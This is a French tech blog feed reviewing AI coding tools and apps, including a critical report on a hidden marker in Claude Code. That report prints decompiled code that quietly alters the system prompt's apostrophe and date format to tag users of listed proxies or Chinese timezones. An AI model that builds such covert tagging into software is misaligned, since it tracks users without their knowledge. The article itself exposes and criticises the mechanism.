Vue lecture

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.

Diagram-design - Des schémas à vos couleurs

Diagram-design , c'est un skill pour Claude Code, Codex et Pi qui vous fabrique un schéma technique sous forme de fichier HTML autonome. Vous double-cliquez, ça s'ouvre dans le navigateur, et le diagramme est là, super clean et sans avoir à faire de build ou importer des images.

27 types de diagrammes sont couverts, du schéma d'architecture au diagramme de séquence en passant par la machine à états, le Gantt et le quadrant, chacun en 3 variantes : claire, sombre et éditoriale. Bref, de quoi illustrer une doc ou un article de blog sans dessiner les boîboîtes vous-même, une par une comme dans un Excalidraw .

Le type Loop, avec son moyeu de mémoire partagée. Les pointillés sont les écritures en retour.

Il sait aussi partir de ce que vous avez déjà. Vous lui pointez un fichier draw.io ou un bloc Mermaid planqué dans un README, et il le reprend. Attention, ce n'est pas une conversion hein, mais un re-dessin (ça se dit ?? j'sais pas mais je m'en fous) complet. Il va même récupérer le diagramme embarqué dans un .drawio.png, vous savez, celui qui ressemble à du charabia quand vous ouvrez le fichier dans un éditeur.

Ce qu'il jette au passage ce sont les coordonnées de la source, sa palette, ses polices, les connecteurs en diagonale de draw.io et la mise en page automatique de Mermaid. Ce qu'il garde par contre, ce sont les composants, les relations, les regroupements et le sens de lecture.

À la fin de l'import, il rend même un genre de relevé de fidélité en vous indiquant les noeuds en entrée, les noeuds qu'il a dessinés et les noeuds orphelins qu'il a supprimé.

Un fichier draw.io de 12 nœuds redessiné en niveau de détail équilibré, pour un billet de blog.

La sortie se règle ensuite sur 4 critères. Le format d'abord, HTML, SVG ou PNG. Puis la taille, qui ne touche pas que le cadre. Une planche 16:9 destinée au vidéoprojecteur reçoit des libellés en 16px, une image de doc en reçoit des 12px.

Le troisième critère élague votre dessin, avec 24 nœuds au maximum en mode fidèle, 12 en équilibré, 7 en simplifié, et la coupe suit toujours le même ordre : les décorations, puis les doublons, puis les grappes de feuilles, puis l'infrastructure.

Le quatrième change le vocabulaire, mais pas le nombre de boîtes pour s'adapter au public à qui est destiné le diagramme. Pratique pour passer d'un diagramme hyper technique à quelque chose qui pourra être compris de la direction ou des commerciaux.

Reste l'allure du diagramme... Vous lui donnez par exemple l'URL de votre site, il lit la page d'accueil, en tire la couleur de fond, celle du texte, celle des boutons et la pile de polices, puis range tout ça dans des rôles, et voilà vous avez le design de vos rêves.

Mais surtout, avant d'écrire quoi que ce soit, il contrôle le contraste en AA. Si une de vos couleurs ne tient pas la route à la taille où vivent les libellés, entre 9 et 12px, il propose une valeur corrigée et explique pourquoi. Vous validez le diff, et le guide de style du skill est mis à jour pour tous les schémas suivants.

Et au premier schéma dans un nouveau projet, il refusera même de partir sur le thème par défaut sans vous demander. Il vous proposera naturellement d'aller consulter votre site, de coller vos couleurs à la main, ou encore d'assumer le défaut en connaissance de cause.

Côté installation, ça passe par les plugins pour Claude Code et Codex, par npx pour Codex, par une ligne pour Pi. C'est sous licence MIT et c'est gratuit. Tout est ensuite produit en local, et l'import Mermaid se contente de lire le texte, sans rendu ni appel réseau. Il n'y a que l'export PNG qui réclame un extra, à savoir Playwright, à installer à côté.

Maintenant, c'est pas le même usage qu'un bloc Mermaid qui lui est destiné à évoluer en permanence. Là c'est vraiment pour faire des rendus sous la forme d'une image finie et jolie. Donc à vous de voir !

À découvrir ici !

Coder avec l'IA sans pomper le projet d'un autre ?

Dark Hours est à l'origine une petite web app qui vous dit ce qu'il y a à voir dans le ciel ce soir et si ça vaut le coup de mettre le museau dehors. Le développeur Terry Godier l'a construite avec l'aide de Claude et lancée début août mais au moment où j'écris ces lignes, elle n'existe plus... En effet, son site darkhours.io redirige maintenant vers DarkHours.app , un autre projet signé Miguel Beher et sous licence MIT.

C'est ce dernier qui a vu le problème, et je vais vous expliquer...

En fait, les 2 apps avaient non seulement le même nom, mais également les mêmes fonctions, et le même nom de domaine (à part le TLD). Quand Beher a signalé le souci à Godier , ce dernier a d'abord proposé de changer de nom et de différencier les fonctionnalités mais une heure plus tard il retirait tout, annulait l'app iOS qu'il préparait, et publiait un mea culpa où il parle de son "usage irresponsable de l'IA".

Et ce qui l'a décidé à tout stopper comme ça, c'est juste un bug. En effet, son application envoyait les gens observer les étoiles au milieu de champs perdus au Mexique, ou dans l'océan Pacifique et Beher avait exactement le même souci de son côté à ce moment-là (il l'a résolu depuis).

Alors se ressembler sur des fonctionnalités, ça arrive et ça ne me choque pas mais se ressembler jusque dans les bugs, là ça pique un peu beaucoup. Les procès en pompage IA, j'en ai déjà parlé , et ils se trompent souvent de coupable, et dans le cas de Godier, celui-ci n'a pas pompé le code du Dark Hours original. Non, il a juste développé son app avec Claude Code, sans se poser trop de question.

Pour lui, il est juste parti d'un code d'éphémérides qu'il a écrit en janvier mais comme Dark Hours est un projet open source, et bien ce qui s'est passé, c'est que son agent IA a récupéré de gros bouts de cette app, jusqu'à son nom pour en faire sa nouvelle app. Hé oui, la vie c'est facile quand on se repose sur le code des autres.

Dark Hours, le vrai

En effet, Claude Code, Codex et les autres sont des outils connectés. Ils lisent des pages, clonent des dépôts, fouillent GitHub quand ça les arrange, du coup, si votre demande ressemble à un truc qui existe déjà, et bien l'agent peut aller le consulter et s'en servir de modèle. Et même sans aller sur le net, comme les modèles ont été entraînés sur tout ce qui traîne publiquement sur le net, dépôts de code compris, il est capable de restituer une structure vue mille fois, sans même aller la chercher sur le net. Un peu comme les modèles de diffusion d'images qui reproduisent le style des artistes.

C'est pour ça que je trouve la mésaventure de Godier et Beher intéressante. Ça nous enseigne qu'il faut faire extrêmement attention quand on code avec l'IA. Pour limiter les risques qu'elle aille se servir dans du code libre, il faut donc indiquer expressément à l'agent de NE PAS récupérer le code source de projets open source, ne pas l'analyser, ne pas pomper du code ni les interfaces. Bref, lui dire qu'on part d'une page blanche...

C'est le même principe que celui de la clean room qui a permis à Compaq de cloner légalement le BIOS d'IBM, comme on peut le voir dans la série Halt and Catch Fire... On implémente les bonnes idées, mais jamais les lignes de code.

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Pour ma part, je fais quasiment que des outils internes et des bidules perso, mais je le précise quand même pour que tout soit clean. Toutefois, ça ne règle pas le problème de l'entraînement qui a été fait en amont pour forger le modèle IA.

Donc avant de coder, deux réflexes à avoir : 1/ Chercher le nom de votre app (ou de votre nouvelle entreprise) pour de vrai, ce qui vous évitera de vous lancer dans un move de contrefaçon sans le savoir. Et 2/ Installer tout ce qui existe dans le même genre pour être sûr de ne pas vous faire berner par l'IA... Sachez que rien que cette année, j'ai été victime moi-même 2 fois, de gens qui n'ont pas pris ces précautions et qui se sont attribués les noms de mes projets pour leurs propres trucs en se reposant, je le suppose, uniquement sur l'IA sans se poser la moindre question. Pour l'un des projets, VoxDrop, j'ai changé le nom en Kassis pour pas me prendre le chou car c'était un projet jeune. Mais pour l'autre problème, c'est plus épineux et je ne peux pas vous en parler encore mais rassurez-vous, dès que je le pourrais, vous ferai un article qui détaillera tout en détail pour vous raconter cette histoire hallucinante qui m'arrive.

Après, ce que je vous conseille de faire aussi c'est qu'une fois que votre projet est fini, pensez à lancer une phase de contrôle. Ça personne ne le fait, mais c'est pas mal de récupérer le code des projets qui vous ont inspiré ou projet concurrents, de le poser à côté du vôtre et faire vous-même ou demander à un agent IA une comparaison, un peu comme la passe sécurité que vous faites en fin de projet.

Reprendre une fonctionnalité qu'on trouve bien ailleurs et la réimplémenter dans son projet, c'est normal et c'est ce que tout le monde fait d'ailleurs. Mais reprendre le nom, le look de l'interface et le code, qui plus est, sans mentionner la licence, c'est vraiment moche. Et c'est exactement ce que peut faire votre agent IA dans votre dos, alors soyez vigilant parce qu'après, vous pourrez dire que vous ne le saviez pas, tout le monde vous traitera de voleur. La frontière est là, et il n'y a qu'une comparaison explicite du code et de l'interface qui vous dira de quel côté vous êtes tombé...

Source

GitWand - Il trie vos conflits Git et vous montre pourquoi

perso, je n'ai jamais été très à l'aise avec Git. Je l'utilise tous les jours, mais c'est vraiment pas ma came. Dès que ça devient trop compliqué, genre conflit de merge qui repeint des dizaines de fichiers en rouge, je ne m'en sors plus ^^.

Heureusement qu'il y a l'IA pour m'aider dans des moments difficiles ! Mais si vous n'aimez pas confier la gestion de vos merges à un LLM en aveugle, je vous invite à découvrir GitWand, développé par Laurent Guitton, qui s'occupe uniquement de la gestion des conflits avec Git et vous laisse gérer le reste.

Gitwand, c'est donc un client Git open source, sous licence MIT, qui classe chaque bloc conflictuel selon des règles fixes et ne résout automatiquement que ceux dont le résultat ne fait aucun doute.

Pour cela, il dispose de plusieurs patterns déterministes :

  • same_change, c'est quand les deux branches ont écrit exactement la même chose.
  • whitespace_only ne voit qu'une indentation qui a bougé,
  • reorder_only les mêmes lignes remises dans un autre ordre.
  • Un numéro de version qui change, lui, tombe dans value_only_change.
  • Et puis il y a complex, le fourre-tout des modifications qui se chevauchent pour de vrai. Celle-là n'est jamais tranchée toute seule.
  • git rerere rejoue les résolutions que vous avez déjà tranchées à la main,
  • et Mergiraf se branche directement dans git merge pour arbitrer en lisant l'arbre syntaxique de votre code.

Ce qui change ici, c'est que chaque décision est justifiée. En effet, chaque bloc reçoit un score de confiance ainsi qu'une trace qui nomme le motif retenu ligne par ligne.

Par exemple, si une branche écrit const theme = 'dark', et l'autre const theme = localStorage.getItem('theme') ?? 'dark', hé bien l'outil garde la seconde, étiquette sa décision prefer-theirs, et affiche 97 % de confiance à côté.

Sur la page d'accueil, l'outil annonce 95 % des conflits triviaux résolus automatiquement. Le moteur est aussi exposé aux agents IA via un serveur MCP, ce protocole qui branche des outils externes sur des assistants comme Claude Code ou Cursor. L'installation se fait comme ceci : claude mcp add gitwand -- npx -y @gitwand/mcp.

L'agent réclame un aperçu, récupère les blocs déjà réglés, et ne garde que les cas ambigus, avec les trois versions du code sous les yeux. Le modèle ne touche qu'à ce qu'aucune règle ne sait faire, soit l'inverse de ce qu'on voit d'habitude.

Le projet est jeune et ça se voit. Mais ça vaut le coup d'essayer parce que je pense que ça peut rendre de nombreux services. L'app existe pour macOS, Linux et Windows, l'interface est traduite en français, et elle se double d'une ligne de commande (npm i -g @gitwand/cli) et d'une extension VS Code.

Si l'interface graphique vous tente, je vous avais montré Gittyup dans le même registre, et pour les irréductibles du terminal j'avais présenté Lazygit .

À vous maintenant de commencer par gitwand resolve --dry-run --verbose pour voir "à blanc" ce qu'il trouve et comment il aurait tranché pour le merge.

Merci à Laurent pour le lien !

Source

DockPanel - Le panel web qui gère tout votre serveur

Gérer un serveur à la main, c'est nginx à configurer, les certificats à renouveler, les sauvegardes à planifier et les conteneurs à surveiller... C'est beaucoup de travail. Mais vous allez avoir de l'aide grâce à DockPanel, d'Ovidiu Drobotă, qui met tout ça derrière une jolie interface web tenant dans 19 Mo de RAM.

L'installation se colle en une ligne sur un VPS frais et vous récupérez un panneau d'admin sur le port 8443. Ubuntu, Debian, Rocky, Fedora ou Amazon Linux, en x86_64 comme en ARM64.

À partir de là vous créez des sites en PHP, Node ou Python, avec nginx configuré tout seul et les certificats Let's Encrypt qui se renouvellent sans y penser. Les bases MySQL et PostgreSQL vont avec, navigateur SQL intégré et restauration à un instant T via les journaux binaires.

Ensuite, c'est surtout le catalogue Docker qui fait le gros du travail. Environ 150 modèles en un clic répartis sur 14 catégories, WordPress, Postgres, Grafana, n8n ou Immich, et le reverse proxy, le SSL et le réseau se câblent automatiquement derrière. Les conteneurs inactifs peuvent même se mettre en veille tout seuls pour libérer la machine.

Je vous parlais l'an dernier de Coolify pour le déploiement en self-hosted , et avant ça de aaPanel, le clone gratuit de cPanel mais aucun des deux ne couvre autant de terrain.

Côté déploiement, vous poussez votre code et ça part en production, avec bascule atomique par lien symbolique et retour arrière en un clic quand le déploiement du vendredi tourne mal. Nixpacks reconnaît plus de 30 langages, donc pas de Dockerfile à écrire, et chaque branche peut avoir son environnement de préversion.

Il y a aussi un serveur mail complet, Postfix, Dovecot et DKIM, avec Roundcube en webmail et Rspamd contre le spam. La partie DNS pilote Cloudflare et PowerDNS, avec vérification de propagation, DNSSEC et les tunnels Cloudflare. Un module CDN gère BunnyCDN et Cloudflare, purge du cache comprise.

Pour la surveillance, des sondes HTTP, TCP et ping, une gestion d'incidents avec chronologie et post-mortem, une page de statut publique à laquelle vos utilisateurs peuvent s'abonner, et des alertes qui partent sur Slack, Discord ou PagerDuty. Un point de collecte Prometheus est dispo, avec un tableau Grafana prêt à importer.

La sécurité est activée par défaut avec pare-feu applicatif ModSecurity par site, Fail2Ban, durcissement SSH en un clic, connexion par passkey ou 2FA, et chaque image Docker déployée peut être scannée à la recherche de CVE avec grype, avec refus de déploiement au-dessus du seuil que vous fixez. Les sauvegardes passent par Restic, chiffrées et dédupliquées, vers S3, SFTP, B2 ou GCS, avec vérification de restauration.

Le reste ensuite, c'est que du confort. Terminal web avec enregistrement de session, gestionnaire de fichiers, palette de commandes en Ctrl+K, 6 thèmes, boîte à secrets chiffrée, passerelle à webhooks et une ligne de commande. La configuration complète s'exporte en YAML pour être rejouée ailleurs. Si vous gérez plusieurs machines, un seul panneau les pilote toutes, avec des comptes revendeur en marque blanche pour ceux que ça intéresse.

Deux choses à savoir avant de lancer l'installation quand même... En mars, une injection de commande dans le formulaire de création de site a permis à un visiteur de passer root sur la machine de l'auteur. C'est corrigé depuis, mais l'agent tourne en root par conception puisque c'est lui qui touche à Docker, à nginx et aux certificats.

L'autre point, c'est la licence. DockPanel est en Business Source License 1.1, ce qui n'est pas de l'open source même si la page d'accueil le présente comme ça. L'usage est libre et gratuit sur vos propres serveurs, mais la revente en service hébergé est interdite. Une bascule en MIT est quand même programmée pour mars 2030.

Voilà, je me suis dit que ça pourrait vous intéresser.

Source

Universe Atlas - L'univers à l'échelle réelle dans votre navigateur

Si vous prévoyez de vous rendre en Islande le 12 août prochain pour admirer l'éclipse totale, vous pouvez déjà vous projeter dans l'expérience grâce à Universe Atlas, un nouvel atlas mis en ligne par Chris Zaharia, qui permet de localiser chaque éclipse de 2026.

D'un simple clic, vous êtes transporté à Reykjavik à 17h45 UTC pour voir virtuellement le soleil, en forme de croissant, se lever à l'horizon sous un ciel aux teintes étranges, évoquant cette atmosphère de fin du monde très caractéristique des éclipses ! (Moi je suis team fin du monde 1999 à l'aéroport de Beauvais, tu connais !! loool)

Reykjavík, le 12 août 2026 vers 18h.

Cette application tourne dans le navigateur et pèse environ 85 ko compressés, ne possède ni moteur de jeu ni dépendance externe, mais repose exclusivement sur du WebGPU brut.

Vous y trouverez 8,4 millions d'étoiles réelles issues des catalogues Gaia DR3 et ATHYG, chacune avec sa distance mesurée et sa vitesse réelle. Si vous remontez le temps de 100 000 ans, vous verrez ainsi la Grande Ourse se désagréger sous vos yeux !

La carte intègre également jusqu'à 2,6 millions de galaxies issues du relevé SDSS, ainsi que les planètes sur leurs orbites képlériennes, l'ISS et 170 satellites positionnés selon leurs éléments orbitaux du jour. L'ensemble est présenté dans un zoom continu couvrant 43 ordres de grandeur, allant du cosmos au quark dans l'infiniment petit, sans aucune coupure de scène.

Impressionnant non ? Alors si je vous dis maintenant que tout a été codé avec Claude code et le modèle Fable 5 ??

Bah non, ne faites pas cette tête, c'est pas grave parce que c'est vraiment top ! Jusqu'à présent, seuls ceux qui savaient coder pouvaient matérialiser leurs idées... Mais avec l'arrivée de l'IA, n'importe qui avec une jolie idée et un peu de débrouillardise peut lui donner vie sans trop de souffrance avec la technique ! Et c'est ça que je trouve magique dans le vibe coding.

Après c'est sûr, faut vérifier et pas faire confiance aveuglément. C'est pourquoi les positions des planètes passent en intégration continue avec des tests qui comparent les datas de l'app avec celles de JPL Horizons, l'éphéméride de la NASA, et comme ça, dès qu'un corps céleste dérive de plus de 0,2 degré, hé bien le build pète. Les générateurs refusent ainsi d'écrire quoi que ce soit qui ne passe pas leurs contrôles physiques.

Ça permet d'avoir un truc sérieux qui marche bien grâce au vibe coding sans pour autant sacrifier la qualité.

Sagittarius A, la lumière courbée autour de son ombre. Le bandeau affiche ses sources : GRAVITY 2022, orbites des étoiles S d'après Gillessen et al. 2017.*

Tout est extrêmement précis et l'échelle réelle est conservée, puisque c'est vraiment le cœur du produit. Le développeur met donc un point d'honneur à ne jamais truquer une taille, une distance ou une vitesse pour faire joli.

Et vous pouvez vérifier qu'il s'y tient ! Appuyez sur X et tout se recolore selon la provenance avec couleurs naturelles pour ce qui est mesuré, ambre pour ce qui a la bonne taille mais un rendu stylisé, cyan pour ce qui est purement illustratif.

Par contre, je trouve dommage qu'on ne puisse pas régler la date et l'heure précisément, ou alors je n'ai pas trouvé comment. Et c'est assez difficile de se caler sur une date et une heure précises, sachant qu'on peut aller de 10 ans en 10 ans, et qu'ensuite le saut n'est pas de 100 ans en 100 ans, mais de 1000 ans en 1000 ans, donc c'est un peu dur de doser. J'y ai passé un petit peu de temps.

Pour que ça fonctionne, il vous faudra WebGPU c'est-à-dire Chrome / Edge ou Safari depuis la version 26. Après Firefox, c'est plus tordu car c'est activé sur Windows depuis la 141, sur les Mac Apple Silicon depuis la 145 mais y'a toujours rien côté Firefox pour les Mac Intel ni pour Linux. Sous Linux, prenez donc plutôt Chrome 144 ou plus récent.

Dans le même genre, je vous avais montré AstroClick pour le système solaire en voxels, et le vénérable Space Engine . Bref, c'est par ici , c'est gratuit, et le code est sur GitHub sous licence MIT.

Ah et pensez à appuyer sur T pour la visite guidée !

Source

Nomlings - Le Tamagotchi affamé qui dévore vos tokens Claude Code

Nomlings, c'est un Tamagotchi qui vit à côté de votre terminal, et dont la seule nourriture, ce sont les tokens que crament vos sessions Claude Code. Vous bossez, il mange. Vous glandez, il patiente.

Et pendant que vous regardez votre usage fondre comme neige au soleil, bah lui il se régale !!

La bestiole s'appelle un Munchling, un "tokivore" quoi, qui s'affiche sur un écran de 64 pixels et chaque tâche terminée lui rapporte +10 XP et un snack.

Quand un outil plante, il fait la gueule et quand Claude attend une réponse de votre part depuis un moment parce que vous êtes parti vous refaire un café, il vous alerte pour que vous reveniez bosser. Bref, c'est une créature en pixels qui vous fera culpabiliser de procrastiner, ce qui peut-être pas mal quand on est un indé à son compte et grosse feignasse en même temps ^^.

Derrière tout ça, le soft digère en réalité les événements de vos sessions, en se branchant sur les hooks officiels de Claude Code (SessionStart, PostToolUse et Stop), qui transitent uniquement en local. Si l'app n'est pas lancée, ces hooks ne font strictement rien, donc aucun ralentissement à craindre. Ça marche un peu comme Notchi pour ceux qui connaissent.

Côté élevage, votre Munchling démarre donc dans un œuf et évolue jusqu'à l'âge adulte, en gagnant d'abord une antenne, puis une deuxième (la classe ^^). Il reçoit un goûter à chaque tâche terminée, plus un snack qu'il part fourrager tout seul toutes les 30 minutes, même app fermée, avec un maximum de 5 en réserve. Y'a aussi un bouton FEED qui vous laisse le nourrir quand il fait les yeux doux. Et rassurez-vous, contrairement au Tamagotchi de votre enfance retrouvé mort au fond du cartable, celui-là ne peut pas mourir !

Ah vous n'utilisez pas Claude Code ?

Pas grave, y'a un mode companion prévu pour vous. Dans ce mode, le serveur de hooks et le watcher de transcript ne démarrent jamais, et rien n'est écrit dans votre ~/.claude. La bestiole se nourrit à la place des tâches que vous effectuez et des interactions que vous déclenchez dans Nomlings. Par exemple, cocher une tâche rapporte +10 XP et un snack, exactement comme une session Claude. Ça me rappelle Codachi, ce Tamagotchi qu'on adopte dans VSCode pour coder moins seul, sauf qu'ici pas besoin d'éditeur particulier.

En tout cas, c'est rigolo et c'est gratuit, sauf si vous optez pour le pack cosmétique qui débloque 9 espèces supplémentaires (dragon, poussin, fantôme, robot, grenouille, abeille…), ainsi que 9 coques pour habiller le boîtier et des couleurs à choisir librement.

Maintenant, reste LE point qui fâche : pour l'instant, Nomlings tourne uniquement sous Windows. Ouais désolé, c'est la vie !

Bref, si vous pensez que tous les tokens que vous cramez sur Claude Code méritent une fin plus glorieuse qu'un simple compteur qui vous fout la pression, c'est par ici que ça se passe.

Comment j'ai fait mon catalogue de vide-maison sans toucher à Figma

Je déménage bientôt, et comme je quitte ma jolie campagne pour aller dans un endroit plus petit et sans nature (ouin), je dois me débarrasser de pas mal de matériel... Ponceuse, débroussailleuse, taille-haie, tronçonneuse, canapé, tracteur tondeuse.... la totale quoi. Et Le Bon Coin, même si à un moment, je vais devoir y passer, ça me stresse. Je me suis déjà fait menacer par un connard, quand je vendais ma Clio y'a longtemps et entre les acheteurs fantômes et les négociateurs relous, je trouve que les gens s'y comportent comme des bêtes. Du coup, pour commencer en douceur, j'ai choisi la méthode old school à savoir faire un petit catalogue recto verso glissé dans les boîtes aux lettres des voisins.

Sauf qu'aligner des colonnes sur un logiciel de mise en page un soir de semaine, ça heurte très violemment ce que je peux encaisser émotionnellement en ce moment ^^. L'idée m'est donc venue de prendre un petit abonnement et de tester Figma MCP (la passerelle qui laisse un agent IA piloter Figma à votre place) branché à Claude Code : vous donnez votre brief (idées, textes, prix) et un dossier de photos, et l'agent construit la mise en page à votre place.

Comme ça, plus besoin de toucher à rien.

Et si je fais cet article, c'est parce que j'ai été impressionné ! Ça fonctionne super bien. J'ai pas eu besoin de faire 50 aller-retour du genre "décalle ce truc de 2 px vers la gauche" et l'IA s'est démerdée pour tout faire rentrer sur un A4 recto verso.

Puis après, j'ai fait le même tour de magie avec la plaquette commerciale qui sert à vendre du sponsoring sur le site (le Patreon , aussi généreux soit-il, ne permet pas encore d'en vivre sans annonceurs, sniiiif). Je lui ai donné mes data, je lui ai dit ce que je voulais et Claude Code a réalisé le design et assemblé les slides à partir de tout ça.

Figma MCP, pour ceux qui débarquent, ça désigne le Model Context Protocol appliqué à Figma. C'est un standard ouvert qui permet à un agent IA comme Claude Code de discuter directement avec un logiciel, ici Figma. En clair, l'agent peut lire ce qui se passe dans votre fichier ET écrire dessus, créer des frames, poser du texte, aligner des composants, un peu comme si vous étiez aux commandes vous-même, sauf que c'est vous qui donnez les instructions et lui qui exécute.

Pour l'activer, ouvrez Figma desktop, créez un nouveau document DESIGN

Puis basculez en Dev Mode (raccourci Shift+D ou le bouton tout en bas de l'écran) où la section MCP server du panneau d'inspection permet d'activer un serveur local, à l'adresse http://127.0.0.1:3845/mcp.

Ensuite, pour que Claude Code construise et modifie réellement votre design comme je l'ai déjà fait pour mon catalogue, vous devrez le connecter au MCP de Figma depuis votre terminal avec cette commande :

claude mcp add --transport http figma https://mcp.figma.com/mcp

Une fenêtre d'authentification s'ouvre, vous validez avec votre compte Figma, et c'est plié ! Anthropic propose aussi un plugin tout-en-un si taper la commande à la main vous gonfle. Notez que cette connexion gratuite est en bêta, et Figma a prévenu que ça basculera un jour sur un modèle payant à l'usage. C'est tellement dommage de faire payer pour ça...

Reste ensuite à coller le lien du document Design dans votre prompt (ou à sélectionner le bon frame), et l'agent saura exactement où écrire.

Pour faire un peu de PAO, un petit design ou une présentation à monter vite fait, c'est super fluide. Moi j'ai branché mon outil Kassis (anciennement VoxDrop), j'ai tout dicté dans Claude Code et j'ai obtenu ce que je voulais sans effort. Claude est même parti chercher des infos sur le matos en ligne.

Figma est un chouette outil et il n'a pas l'air si complexe que ça mais quand on n'a pas envie d'apprendre à maîtriser toute cette machinerie pour faire un mini truc, ce MCP est bien pratique. Il sait tout gérer, les calques, composants, auto-layout, et compagnie et ça annihile totalement cette courbe d'apprentissage qui m'aurait fait perdre du temps sur d'autres projets plus importants.

Si vous bossez régulièrement sur des prez, des maquettes ou tout ce qui ressemble à de la PAO, ça vaut clairement le coup d'essayer en tout cas, même si vous maîtrisez Figma.

ZCode - L'app maison de z.ai pour coder avec GLM

Hier je vous parlais de GLM 5.2 , le modèle open source que j'ai fini par adopter (en partie) pour bosser. Eh bien la team z.ai (le lab chinois anciennement connu sous le nom de Zhipu AI) enchaîne le bon travail et pousse désormais ZCode , leur propre application pour coder avec des agents IA.

C'est une app desktop qui tourne sur Mac, Windows et Linux (en beta pour ce dernier), et elle est pensée pour les tâches qui durent. L'idée, ce sont des Goals que vous fixez, et l'agent planifie, exécute et vérifie son boulot tout seul par étapes, pendant que vous suivez la progression.

Vous avez donc un vrai environnement avec gestionnaire de fichiers, terminal, panneau Git et aperçu du navigateur en direct, ça cause le protocole MCP, ça sait lancer plusieurs agents en parallèle, et vous pouvez même piloter vos tâches à distance depuis WeChat ou Feishu. Et le tout tourne sur le même GLM Coding Plan que le reste de leur écosystème, à partir de 18 dollars par mois.

Si vous me suivez, vous savez déjà que GLM 5.2 se branche directement dans Claude Code, parce que l'API de z.ai est compatible Anthropic. Je vous avais d'ailleurs filé le petit launcher pour ça pas plus tard qu'hier. Mais ce ZCode, c'est surtout une bonne vitrine pour z.ai, afin de nous garder dans leur app plutôt qu'on utilise la concurrence. Quoi qu'il en soit, rien d'obligatoire, faut voir ce ZCode comme une option de plus pour coder à l'aide de l'IA.

L'appli est toute récente et en fouillant leur repo de feedback , je vois que l'app se prend encore des plantages bien douloureux sur Apple Silicon, avec notamment des erreurs qui vous font perdre le travail non sauvegardé et une fenêtre qui reste parfois noire même après avoir relancé l'app. Ça calme un peu pour un truc censé gérer des sessions longues de taf... Mais je pense que ça va rapidement se stabiliser, tant les dev de Z.ai font du bon boulot.

Si vous êtes déjà abonné au GLM Coding Plan, ça ne vous coûtera rien de plus d'essayer histoire de voir si les Goals collent à votre façon de bosser. Et sinon, pour les autres, l'API + votre outil habituel, ça fera tout aussi bien le job.

Claude Code planquait un mouchard dans la date du prompt

Vous utilisez Claude Code tous les jours pour coder, et pendant ce temps-là l'outil d'Anthropic utilisé par des milliers de dev, joue les mouchards. Thereallo , un développeur qui fouillait le binaire par simple souci de vie privée, est tombé sur une fonction qui apparemment modifie en douce la ligne "Today's date is…" du system prompt. Pas le texte que vous lisez ou écrivez mais littéralement l'apostrophe et le tiret de la date.

2 petits caractères auxquels vous ne faites pas gaffe, et qui pourtant peuvent en dire beaucoup...

En gros, c'est de la stéganographie , c'est-à-dire l'art de cacher une info à la vue de tous. Claude Code échange l'apostrophe de "Today's" contre son jumeau Unicode invisible (U+2019, U+02BC ou U+02B9 selon les cas) et remplace au passage les tirets de la date par des slashs.

function Zup() {
if (Crt()) return null;
let host = Qup();
let timezone = e0t();
let cnTZ = timezone === "Asia/Shanghai" || timezone === "Asia/Urumqi";
if (!host) {
return {
known: false,
labKw: false,
cnTZ,
host: null,
};
}
return {
known: Jup().some((domain) => host === domain || host.endsWith("." + domain)),
labKw: Xup().some((keyword) => host.includes(keyword)),
cnTZ,
host,
};
}
function edp(known, labKw) {
if (!known && !labKw) return "'";
if (known && !labKw) return "\u2019";
if (!known && labKw) return "\u02BC";
return "\u02B9";
}
function Vla(date) {
let marker = Zup();
let apostrophe = edp(marker?.known ?? false, marker?.labKw ?? false);
let renderedDate = marker?.cnTZ ? date.replaceAll("-", "/") : date;
return `Today${apostrophe}s date is ${renderedDate}.`;
}

Tout ceci ne se produit que quand vous avez bidouillé la variable ANTHROPIC_BASE_URL afin de router vos requêtes ailleurs que chez Anthropic et si et seulement si le nom de domaine est dans une liste précise. Ou alors si votre fuseau horaire est réglé sur Shanghai ou Urumqi en Asie.

Mais c'est que ça m'a l'air hyper spécifique ça quand même... Qui est ce qu'Anthropic chercherait à tracer ?? Je me le demande bien.

Reste que le contenu de cette fameuse liste a de quoi faire tiquer. Tout d'abord, elle n'est pas en clair. C'est du base64 passé à la moulinette avec un XOR et la clé 91. Et une fois décodée, on y trouve des mots-clés comme deepseek, moonshot, zhipu ou baichuan, et une flopée de domaines chinois (baidu, alibaba, bytedance, jd) plus tout un tas de proxys et de revendeurs d'accès Claude.

Si vous n'avez pas le cerveau trop lent, vous l'aurez compris, ce marqueur sert à repérer les gens qui font tourner Claude Code à travers des intermédiaires chinois. Et Anthropic n'a pas nié.

Thariq Shihipar, qui bosse sur Claude Code, a expliqué sur X que c'était une expérience lancée en mars pour empêcher la distillation , cette technique où un concurrent aspire les réponses d'un modèle pour entraîner le sien à moindre coût. C'est exactement le reproche que la boîte fait à Alibaba.

Vu sous cet angle, vouloir détecter les revendeurs pirates et les pipelines de distillation, ça se défend donc très bien. Mais la méthode, aïe aïe aie, elle est plus que discutable car ça manque sévèrement de transparence.

Ce code dormait là depuis la version 2.1.91 sortie début avril, ni vu ni connu. En plus, c'est un peu couillon parce qu'en plus d'abîmer la confiance des utilisateurs de Claude Code qui se demandent quel autre mystère renferme cet outil, ça se déjoue en quelques secondes. Il suffit de changer de fuseau horaire, de changer de domaine ou de le patcher. Bref, ça n'a pas dû piéger grand monde...

Le marqueur a été retiré dans la foulée avec la version 2.1.197 donc pensez bien à mettre à jour votre install.

Source

Claude Desktop - L'appli officielle débarque enfin sur Linux

Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.

C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.

Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :

sudo curl -fsSLo /usr/share/keyrings/claude-desktop-archive-keyring.asc https://downloads.claude.ai/claude-desktop/key.asc
echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/claude-desktop-archive-keyring.asc] https://downloads.claude.ai/claude-desktop/apt/stable stable main" | sudo tee /etc/apt/sources.list.d/claude-desktop.list
sudo apt update && sudo apt install claude-desktop

Et voilà !

L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.

